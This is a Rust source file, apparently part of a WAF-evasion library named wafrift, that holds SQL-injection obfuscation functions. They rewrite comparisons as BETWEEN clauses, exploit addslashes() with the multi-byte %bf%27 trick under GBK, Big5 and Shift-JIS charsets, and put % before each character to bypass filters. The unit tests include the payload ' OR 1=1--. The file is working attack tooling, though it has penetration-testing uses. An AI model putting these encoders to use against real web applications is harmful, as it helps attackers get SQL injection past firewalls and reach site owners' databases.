Skip to main content

wafrift_encoding/encoding/keyword/
sql.rs

1//! SQL-specific obfuscation strategies.
2
3use crate::error::EncodeError;
4use std::fmt::Write as _;
5
6/// Between obfuscation — rewrites `=` and `>` using `BETWEEN` syntax.
7///
8/// Safe for: SQL contexts.
9pub fn between_obfuscate(payload: &str) -> String {
10    let mut result = String::with_capacity(payload.len() * 3);
11    for ch in payload.chars() {
12        if ch == '=' {
13            // Rewrite `id=1` → `id BETWEEN 0 AND 1`
14            // We just replace `=` with ` BETWEEN 0 AND `
15            result.push_str(" BETWEEN 0 AND ");
16        } else if ch == '>' {
17            result.push_str(" NOT BETWEEN 0 AND ");
18        } else {
19            result.push(ch);
20        }
21    }
22    result
23}
24
25/// Unmagic quotes — multi-byte quote escape for PHP multi-byte charsets.
26///
27/// Emits `%bf%27` (or similar) to exploit `addslashes()` when the connection
28/// charset is GBK, Big5, or Shift-JIS.
29pub fn unmagic_quotes(payload: impl AsRef<[u8]>) -> Result<String, EncodeError> {
30    let payload = payload.as_ref();
31    let payload_str = std::str::from_utf8(payload).map_err(|_| EncodeError::InvalidUtf8)?;
32    // The classic sequence is %bf%27 (0xbf 0x27) which forms a valid multi-byte
33    // character in GBK/Big5/Shift-JIS, consuming the backslash and leaving the quote.
34    Ok(payload_str.replace('\'', "%bf%27"))
35}
36
37/// Percentage prefix — adds `%` before each character.
38///
39/// Lightweight bypass against WAFs that tokenize on alphanumeric boundaries
40/// but do not strip leading `%` signs.
41pub fn percentage_prefix(payload: &str) -> String {
42    let mut out = String::with_capacity(payload.len() * 2);
43    for ch in payload.chars() {
44        let _ = write!(&mut out, "%{ch}");
45    }
46    out
47}
48
49#[cfg(test)]
50mod tests {
51    use super::*;
52
53    #[test]
54    fn between_obfuscate_basic() {
55        assert_eq!(between_obfuscate("id=1"), "id BETWEEN 0 AND 1");
56        assert_eq!(between_obfuscate("id>0"), "id NOT BETWEEN 0 AND 0");
57    }
58
59    #[test]
60    fn unmagic_quotes_basic() {
61        assert_eq!(unmagic_quotes("' OR 1=1--").unwrap(), "%bf%27 OR 1=1--");
62    }
63
64    #[test]
65    fn percentage_prefix_basic() {
66        assert_eq!(percentage_prefix("SELECT"), "%S%E%L%E%C%T");
67    }
68}